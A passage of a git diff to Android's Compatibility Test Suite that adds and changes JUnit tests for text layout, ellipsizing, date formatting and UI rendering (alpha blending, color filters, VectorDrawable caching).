+ String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
+
+ for (String text: texts) {
+ // 15 is such that only one character will fit
+ int[] breaks = getBreaks(text, 15, Layout.BREAK_STRATEGY_SIMPLE);
+
+ // Width under 15 should all lead to the same line break
+ for (int width: widths) {
+ layout(text, breaks, width);
+ }
+ }
+ }
+
+ @Test
+ public void testNarrowWidthZeroWidth() {
+ int[] widths = new int[] { 1, 4 };
+ for (int width: widths) {
+ layout("X.", new int[] {1}, width);
+ layout("X__", NO_BREAK, width);
+ layout("X__X", new int[] {3}, width);
+ layout("X__X_", new int[] {3}, width);
+
+ layout("_", NO_BREAK, width);
+ layout("__", NO_BREAK, width);
+
+ // TODO: The line breaking algorithms break the line too frequently in the presence of
+ // zero-width characters. The following cases document how line-breaking should behave
+ // in some cases, where the current implementation does not seem reasonable. (Breaking
+ // between a zero-width character that start the line and a character with positive
+ // width does not make sense.) Line-breaking should be fixed so that all the following
+ // tests end up on one line, with no breaks.
+ // layout("_X", NO_BREAK, width);
+ // layout("_X_", NO_BREAK, width);
+ // layout("__X__", NO_BREAK, width);
+ }
+ }
+
+ @Test
+ public void testMaxLines() {
+ layoutMaxLines("C", NO_BREAK, 1);
+ layoutMaxLines("C C", new int[] {2}, 1);
+ layoutMaxLines("C C", new int[] {2}, 2);
+ layoutMaxLines("CC", new int[] {1}, 1);
+ layoutMaxLines("CC", new int[] {1}, 2);
+ }
+}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 4f022a5..bc714b2 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -23,7 +23,9 @@
import static org.junit.Assert.fail;
import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
+import android.support.test.filters.Suppress;
import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Layout;
@@ -59,6 +61,13 @@
private static final int LINE_COUNT = 6;
private static final int LARGER_THAN_LINE_COUNT = 50;
+ private static final String LOREM_IPSUM = "Lorem ipsum dolor sit amet, consectetur adipiscing "
+ + "elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad "
+ + "minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea "
+ + "commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse "
+ + "cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non "
+ + "proident, sunt in culpa qui officia deserunt mollit anim id est laborum.";
+
/* the first line must have one tab. the others not. totally 6 lines
*/
private static final CharSequence LAYOUT_TEXT = "CharSe\tq\nChar"
@@ -203,8 +212,8 @@
// setBreakStrategy, setHyphenationFrequency, setIncludePad, and setIndents.
StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
- builder.setBreakStrategy(StaticLayout.BREAK_STRATEGY_HIGH_QUALITY);
- builder.setHyphenationFrequency(StaticLayout.HYPHENATION_FREQUENCY_FULL);
+ builder.setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY);
+ builder.setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_FULL);
builder.setIncludePad(true);
builder.setIndents(null, null);
StaticLayout layout = builder.build();
@@ -213,6 +222,38 @@
}
@Test
+ public void testSetLineSpacing_whereLineEndsWithNextLine() {
+ final float spacingAdd = 10f;
+ final float spacingMult = 3f;
+
+ // two lines of text, with line spacing, first line will have the spacing, but last line
+ // wont have the spacing
+ final String tmpText = "a\nb";
+ StaticLayout.Builder builder = StaticLayout.Builder.obtain(tmpText, 0, tmpText.length(),
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setLineSpacing(spacingAdd, spacingMult).setIncludePad(false);
+ final StaticLayout comparisonLayout = builder.build();
+
+ assertEquals(2, comparisonLayout.getLineCount());
+ final int heightWithLineSpacing = comparisonLayout.getLineBottom(0)
+ - comparisonLayout.getLineTop(0);
+ final int heightWithoutLineSpacing = comparisonLayout.getLineBottom(1)
+ - comparisonLayout.getLineTop(1);
+ assertTrue(heightWithLineSpacing > heightWithoutLineSpacing);
+
+ final String text = "a\n";
+ // build the layout to be tested
+ builder = StaticLayout.Builder.obtain("a\n", 0, text.length(), mDefaultPaint,
+ DEFAULT_OUTER_WIDTH);
+ builder.setLineSpacing(spacingAdd, spacingMult).setIncludePad(false);
+ final StaticLayout layout = builder.build();
+
+ assertEquals(comparisonLayout.getLineCount(), layout.getLineCount());
+ assertEquals(heightWithLineSpacing, layout.getLineBottom(0) - layout.getLineTop(0));
+ assertEquals(heightWithoutLineSpacing, layout.getLineBottom(1) - layout.getLineTop(1));
+ }
+
+ @Test
public void testBuilder_setJustificationMode() {
StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
@@ -222,6 +263,7 @@
// without causing any exceptions.
assertNotNull(layout);
}
+
/*
* Get the line number corresponding to the specified vertical position.
* If you ask for a position above 0, you get 0. above 0 means pixel above the fire line
@@ -1171,6 +1213,91 @@
assertTrue(layout.getEllipsisStart(0) != 0);
}
+ @Test
+ public void testEllipsize_retryEnd() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (3.4f * size);
+ final String text = "aaaa";
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.END)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ assertEquals(1, layout.getEllipsisStart(0)); // After the first 'a'
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ @Test
+ public void testEllipsize_retryEndRtl() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (3.4f * size);
+ final String text = "\u202Eaaaa"; // U+202E is the RIGHT-TO-LEFT OVERRIDE.
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.END)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ assertEquals(2, layout.getEllipsisStart(0)); // After the first 'a'
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ @Test
+ public void testEllipsize_retryStart() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (3.4f * size);
+ final String text = "aaaa";
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.START)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ assertEquals(0, layout.getEllipsisStart(0));
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ @Test
+ public void testEllipsize_retryMiddle() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (5.9f * size);
+ final String text = "aaaaaa";
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.MIDDLE)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ final int ellipsisStart = layout.getEllipsisStart(0);
+ assertTrue(ellipsisStart == 1 || ellipsisStart == 2);
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ private TextPaint getTextPaintForEllipsize(float size) {
+ // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+ // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+ // ellipsis, half an em is added between them as kerning. This means that:
+ // "aaaa" is 4 ems wide,
+ // "aaa…" is 4.5 ems wide,
+ // "aa…" is 3.5 ems wide,
+ // "a…" is 2.5 ems wide,
+ // "aa…aa" is 6 ems wide,
+ // "aa…a" is 5 ems wide,
+ // "a…aa" is 5 ems wide,
+ // "a…a" is 4 ems wide,
+ // "…a" is 2.5 ems wide.
+ final TextPaint paint = new TextPaint();
+ paint.setTypeface(Typeface.createFromAsset(
+ InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+ paint.setTextSize(size);
+ return paint;
+ }
+
@Test(expected = IndexOutOfBoundsException.class)
public void testGetPrimary_shouldFail_whenOffsetIsOutOfBounds_withSpannable() {
final String text = "1\n2\n3";
@@ -1190,4 +1317,38 @@
.setEllipsize(TruncateAt.END).build();
layout.getPrimaryHorizontal(layout.getText().length());
}
+
+ // TODO: Re-enable once http://b/65207701 is fixed.
+ @Test
+ @Suppress
+ public void testGetLineWidth() {
+ final float wholeWidth = mDefaultPaint.measureText(LOREM_IPSUM);
+ final int lineWidth = (int) (wholeWidth / 10.0f); // Make 10 lines per paragraph.
+ final String multiParaTestString =
+ LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM;
+ final Layout layout = StaticLayout.Builder.obtain(multiParaTestString, 0,
+ multiParaTestString.length(), mDefaultPaint, lineWidth)
+ .build();
+ for (int i = 0; i < layout.getLineCount(); i++) {
+ assertTrue(layout.getLineWidth(i) <= lineWidth);
+ }
+ }
+
+ // TODO: Re-enable once http://b/65207701 is fixed.
+ @Test
+ @Suppress
+ public void testIndent() {
+ final float wholeWidth = mDefaultPaint.measureText(LOREM_IPSUM);
+ final int lineWidth = (int) (wholeWidth / 10.0f); // Make 10 lines per paragraph.
+ final int indentWidth = (int) (lineWidth * 0.3f); // Make 30% indent.
+ final String multiParaTestString =
+ LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM;
+ final Layout layout = StaticLayout.Builder.obtain(multiParaTestString, 0,
+ multiParaTestString.length(), mDefaultPaint, lineWidth)
+ .setIndents(new int[] { indentWidth }, null)
+ .build();
+ for (int i = 0; i < layout.getLineCount(); i++) {
+ assertTrue(layout.getLineWidth(i) <= lineWidth - indentWidth);
+ }
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index d549cfa..2364dad 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -706,6 +706,83 @@
}
}
+ @Test
+ public void testEllipsize_retryEnd() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+ // "aa…" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "aaaa";
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 3.4f * size,
+ TextUtils.TruncateAt.END, false /* preserveLength */, null /* callback */);
+ assertEquals("a\u2026", ellipsized.toString());
+ }
+
+ @Test
+ public void testEllipsize_retryEndRtl() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+ // "aa…" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "\u202Eaaaa"; // U+202E is the RIGHT-TO-LEFT OVERRIDE.
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 3.4f * size,
+ TextUtils.TruncateAt.END, false /* preserveLength */, null /* callback */);
+ assertEquals("\u202Ea\u2026", ellipsized.toString());
+ }
+
+ @Test
+ public void testEllipsize_retryStart() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+ // "…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "aaaa";
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 3.4f * size,
+ TextUtils.TruncateAt.START, false /* preserveLength */, null /* callback */);
+ assertEquals("\u2026a", ellipsized.toString());
+ }
+
+ @Test
+ public void testEllipsize_retryMiddle() {
+ // When we try to ellipsize "aaaaaa" into a thinner 5.9 em space, we originally think
+ // "aa…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "aaaaaa";
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 5.9f * size,
+ TextUtils.TruncateAt.MIDDLE, false /* preserveLength */, null /* callback */);
+ final String ellipsizedString = ellipsized.toString();
+ assertTrue("aa\u2026a".equals(ellipsizedString) || "a\u2026aa".equals(ellipsizedString));
+ }
+
+ private TextPaint getTextPaintForEllipsize(float size) {
+ // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+ // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+ // ellipsis, half an em is added between them as kerning. This means that:
+ // "aaaa" is 4 ems wide,
+ // "aaa…" is 4.5 ems wide,
+ // "aa…" is 3.5 ems wide,
+ // "a…" is 2.5 ems wide,
+ // "aa…aa" is 6 ems wide,
+ // "aa…a" is 5 ems wide,
+ // "a…aa" is 5 ems wide,
+ // "a…a" is 4 ems wide,
+ // "…a" is 2.5 ems wide.
+ final TextPaint paint = new TextPaint();
+ paint.setTypeface(Typeface.createFromAsset(
+ InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+ paint.setTextSize(size);
+ return paint;
+ }
+
/**
* Get a blank string which is filled up by '\uFEFF'.
*
@@ -1614,6 +1691,8 @@
spannableStringTokens.add(new SpannableString("span 2"));
spannableStringTokens.add(new SpannableString("span 3"));
assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
+
+ assertEquals("", TextUtils.join("|", new ArrayList<CharSequence>()));
}
@Test(expected=NullPointerException.class)
@@ -1636,6 +1715,8 @@
new SpannableString("span 2"),
new SpannableString("span 3") };
assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
+
+ assertEquals("", TextUtils.join("|", new String[0]));
}
@Test(expected=NullPointerException.class)
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 13c9aa2..50c97b2 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -18,12 +18,15 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.app.UiAutomation;
import android.content.Context;
+import android.content.res.Configuration;
+import android.os.LocaleList;
import android.os.ParcelFileDescriptor;
import android.provider.Settings;
import android.support.annotation.NonNull;
@@ -312,6 +315,27 @@
}
}
+ @Test
+ public void test_ContextLocaleIsUsed() {
+ final Locale oldLocale = Locale.getDefault();
+
+ try {
+ Date date = new Date(YEAR_FROM_1900, MONTH, DAY);
+ Locale.setDefault(Locale.FRANCE);
+ final String javaResult = java.text.DateFormat.getDateInstance(
+ java.text.DateFormat.LONG).format(date);
+
+ final Configuration config = new Configuration();
+ config.setLocales(new LocaleList(Locale.JAPAN));
+ final Context context = mContext.createConfigurationContext(config);
+ final String androidResult = DateFormat.getLongDateFormat(context).format(date);
+
+ assertNotEquals(javaResult, androidResult);
+ } finally {
+ Locale.setDefault(oldLocale);
+ }
+ }
+
@NonNull
private String getTimeFormat() throws IOException {
return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
index 9c96519..4f26aea 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
@@ -18,7 +18,6 @@
import android.app.Activity;
import android.os.Bundle;
-import android.os.SystemClock;
import android.text.cts.R;
import android.text.method.BaseKeyListener;
import android.text.method.DateKeyListener;
@@ -29,7 +28,6 @@
import android.text.method.QwertyKeyListener;
import android.text.method.TextKeyListener;
import android.text.method.TimeKeyListener;
-import android.util.Log;
/**
* This Activity is used for testing:
@@ -55,47 +53,9 @@
*/
public class KeyListenerCtsActivity extends Activity {
- private boolean mHasWindowFocus = false;
- private final Object mHasWindowFocusLock = new Object();
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.keylistener_layout);
}
-
- @Override
- public void onWindowFocusChanged(boolean hasFocus) {
- super.onWindowFocusChanged(hasFocus);
- if (!hasFocus) {
- Log.w("KeyListenerCtsActivity", "KeyListenerCtsActivity lost window focus");
- }
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasFocus;
- mHasWindowFocusLock.notify();
- }
- }
-
- /**
- * Blocks the calling thread until the {@link KeyListenerCtsActivity} has window focus or the
- * specified duration (in milliseconds) has passed.
- */
- public boolean waitForWindowFocus(long durationMillis) {
- long elapsedMillis = SystemClock.elapsedRealtime();
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasWindowFocus();
- while (!mHasWindowFocus && durationMillis > 0) {
- long newElapsedMillis = SystemClock.elapsedRealtime();
- durationMillis -= (newElapsedMillis - elapsedMillis);
- elapsedMillis = newElapsedMillis;
- if (durationMillis > 0) {
- try {
- mHasWindowFocusLock.wait(durationMillis);
- } catch (InterruptedException e) {
- }
- }
- }
- return mHasWindowFocus;
- }
- }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/tests/tests/uirendering/res/drawable/circle.xml
similarity index 62%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
copy to tests/tests/uirendering/res/drawable/circle.xml
index de52e61..9d47a8a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
+++ b/tests/tests/uirendering/res/drawable/circle.xml
@@ -14,8 +14,16 @@
~ See the License for the specific language governing permissions and
~ limitations under the License
-->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+ android:height="90px"
+ android:width="90px"
+ android:viewportHeight="1"
+ android:viewportWidth="1" >
-<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
-</android.server.cts.LifecycleLogView>
\ No newline at end of file
+ <group>
+ <path
+ android:name="box0"
+ android:pathData="m0,0.5a0.5,0.5 0 1,0 1,0a0.5,0.5 0 1,0 -1,0"
+ android:fillColor="#FF0000" />
+ </group>
+</vector>
\ No newline at end of file
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
new file mode 100644
index 0000000..8c777f8
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AlphaBlendTest extends ActivityTestBase {
+
+ class ViewWithAlpha extends View {
+ public ViewWithAlpha(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ canvas.drawColor(Color.RED);
+ canvas.drawColor(Color.BLUE);
+ }
+
+ @Override
+ public boolean hasOverlappingRendering() {
+ return false;
+ }
+ }
+
+ /*
+ * The following test verifies that a RED and BLUE paints on a non-overlapping view with a 0.5f
+ * alpha blends correctly with a BLACK parent (without using an offscreen surface).
+ */
+ @Test
+ public void testBlendAlphaNonOverlappingView() {
+
+ ViewInitializer initializer = new ViewInitializer() {
+
+ @Override
+ public void initializeView(View view) {
+ FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+ root.setBackgroundColor(Color.BLACK);
+
+ final ViewWithAlpha child = new ViewWithAlpha(view.getContext());
+
+ child.setLayoutParams(new FrameLayout.LayoutParams(
+ ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.FILL_PARENT));
+ child.setAlpha(0.5f);
+ root.addView(child);
+ }
+ };
+
+ createTest()
+ .addLayout(R.layout.frame_layout, initializer, true)
+ .runWithVerifier(new ColorVerifier(0xff40007f));
+ }
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
new file mode 100644
index 0000000..4fd227d
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorMatrixColorFilter;
+import android.graphics.Paint;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ColorFilterTests extends ActivityTestBase {
+
+ @Test
+ public void testColorMatrix() {
+ createTest()
+ .addCanvasClient((canvas, width, height) -> {
+ Bitmap whiteBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+ whiteBitmap.eraseColor(Color.WHITE);
+
+ Paint paint = new Paint();
+ canvas.drawBitmap(whiteBitmap, 0, 0, paint);
+
+ paint.setAntiAlias(true);
+ paint.setColorFilter(new ColorMatrixColorFilter(new float[] {
+ -1, 0, 0, 0, 255,
+ 0, -1, 0, 0, 255,
+ 0, 0, -1, 0, 255,
+ 0, 0, 0, 1, 0
+ }));
+ canvas.drawBitmap(whiteBitmap, 0, 0, paint);
+
+ }, true)
+ .runWithVerifier(new ColorVerifier(Color.BLACK));
+ }
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index ed0110a..ae8f57e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -47,6 +47,7 @@
import android.view.ViewTreeObserver;
import android.widget.FrameLayout;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -294,9 +295,9 @@
.runWithVerifier(new RectVerifier(Color.WHITE, Color.GREEN, new Rect(40, 40, 70, 70)));
}
- // Note: This test will fail for Skia pipeline, but that is OK.
- // TODO: delete this test when Skia pipeline is default and modify next test
+ // STOPSHIP: delete this test when Skia pipeline ships as the default and modify next test
// testSaveLayerUnclippedWithColorFilterSW to run for both HW and SW
+ @Ignore
@Test
public void testSaveLayerUnclippedWithColorFilterHW() {
// verify that HW can draw nested unclipped layers with chained color filters
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
index ffb263d..f4db101 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
@@ -16,17 +16,29 @@
package android.uirendering.cts.testclasses;
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
+import android.animation.ValueAnimator;
+import android.content.Context;
+import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.Point;
import android.graphics.Rect;
import android.graphics.drawable.VectorDrawable;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.widget.FrameLayout;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import android.animation.Animator;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -44,5 +56,94 @@
.runWithVerifier(
new RectVerifier(Color.WHITE, Color.RED, new Rect(0, 0, 25, 25)));
}
+
+ class VectorDrawableView extends View {
+ private VectorDrawable mVd;
+ private Rect mVdBounds;
+
+ public VectorDrawableView(Context context) {
+ super(context);
+ mVd = (VectorDrawable) context.getResources().getDrawable(R.drawable.circle, null);
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ mVd.setBounds(mVdBounds);
+ mVd.draw(canvas);
+ }
+
+ public void setVDSize(Rect vdBounds) {
+ mVdBounds = vdBounds;
+ }
+ }
+
+ /*
+ * The following test verifies that VectorDrawable.setBounds invalidates the bitmap cache.
+ */
+ @Test
+ public void testInvalidateCache() {
+ CountDownLatch testFinishedFence = new CountDownLatch(1);
+
+ ViewInitializer initializer = new ViewInitializer() {
+ ValueAnimator mAnimator;
+
+ @Override
+ public void initializeView(View view) {
+ FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+ root.setBackgroundColor(Color.BLUE);
+
+ final VectorDrawableView child = new VectorDrawableView(view.getContext());
+
+ child.setLayoutParams(new FrameLayout.LayoutParams(ActivityTestBase.TEST_WIDTH,
+ ActivityTestBase.TEST_HEIGHT));
+ // VectorDrawable is a red circle drawn on top of a blue background.
+ // The first frame has VectorDrawable size set to 1x1 pixels, which deforms
+ // the red circle into a 1x1 red-ish square.
+ // An animation grows VectorDrawable bounds from 0x0 to 90x90. If VD cache is
+ // refreshed, then we should see a red circle on top of a blue background.
+ // If VD cache is stale, then VD will upscale the original 1x1 cached image to
+ // 90x90 red-ish square.
+ // At the end of the animation, we verify the color of top left pixel, which should
+ // be a blue background pixel.
+ child.setVDSize(new Rect(0, 0, 2, 2)); //first draw with VD size set to 1x1 pixels.
+ root.addView(child);
+
+ mAnimator = ValueAnimator.ofFloat(0, 1);
+ mAnimator.setRepeatCount(0);
+ mAnimator.setDuration(400);
+ mAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+ @Override
+ public void onAnimationUpdate(ValueAnimator animation) {
+ float progress = (float) mAnimator.getAnimatedValue();
+ child.setVDSize(new Rect(0, 0, (int)(progress*child.getWidth()),
+ (int)(progress*child.getHeight())));
+ child.invalidate();
+ }
+ });
+ mAnimator.addListener(
+ new AnimatorListenerAdapter() {
+ @Override
+ public void onAnimationEnd(Animator animation) {
+ super.onAnimationEnd(animation);
+ testFinishedFence.countDown();
+ }
+ });
+
+ mAnimator.start();
+ }
+
+ @Override
+ public void teardownView() {
+ mAnimator.cancel();
+ }
+ };
+
+ createTest()
+ .addLayout(R.layout.frame_layout, initializer, true, testFinishedFence)
+ .runWithVerifier(new SamplePointVerifier(
+ new Point[] { new Point(0, 0) },
+ new int[] { 0xff0000ff }
+ ));
+ }
}
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 7c35627..8bacd2e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -348,6 +348,18 @@
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
+
+ <activity android:name="android.view.cts.KeyEventInterceptTestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.view.cts.TouchDelegateTestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ </activity>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/view/res/layout/key_fallback_layout.xml b/tests/tests/view/res/layout/key_fallback_layout.xml
new file mode 100644
index 0000000..5d5cef1
--- /dev/null
+++ b/tests/tests/view/res/layout/key_fallback_layout.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
